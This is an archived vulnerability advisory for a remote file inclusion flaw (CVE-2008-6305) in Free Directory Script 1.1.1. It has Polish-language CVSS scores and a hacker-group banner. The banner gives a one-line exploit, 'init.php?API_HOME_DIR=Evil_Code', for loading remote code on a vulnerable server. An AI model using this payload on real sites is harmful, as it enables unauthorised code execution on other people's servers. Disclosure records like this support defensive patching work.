Free Directory Script 1.1.1 (API_HOME_DIR) RFI Vulnerability

2009.03.01

Credit: Ghost Hacker

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-6305

CWE: CWE-94

Ogólna skala CVSS: 6.8/10

Znaczenie: 6.4/10

Łatwość wykorzystania: 8.6/10

Wymagany dostęp: Zdalny

Złożoność ataku: Średnia

Autoryzacja: Nie wymagana

Wpływ na poufność: Częściowy

Wpływ na integralność: Częściowy

Wpływ na dostępność: Częściowy

####################################################################################################
# Directory v1.1.1 (API_HOME_DIR) RFI Vulnerablity #
# &#169; Ghost Hacker , Real Hack Back :) #
####################################################################################################
#[~] Author : Ghost Hacker #
#[~] Homepage : www.Real-h.com [Real Hack Back] #
#[~] Contact Me : Ghost-r00t[at]Hotmail[dot]com #
#[~] Bug : RFI #
#[~] From : Kingdom Saudi Arabia #
#[~] Name Script : Directory v1.1.1 #
#[~] Download : http://www.freedirectoryscript.com/download/fds-v111-rc.zip #
####################################################################################################
#[~] Exploit : #
# init.php?API_HOME_DIR=Evil_Code #
####################################################################################################
#[~]GreetZ : #
# Mr.SaFa7 , Mr-3sheq , aBo3tB , Night Mare , Root Hacker , Dmar al3noOoz #
# Mr.MN7oS , Mr.Hope , Scary.Hacker , Qabandi , v4-team.com #
# All Members Real Hack , All My Friends :) #
####################################################################################################
# Viva Real Hack - Real-h.com .. #
####################################################################################################

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Free Directory Script 1.1.1 (API_HOME_DIR) RFI Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.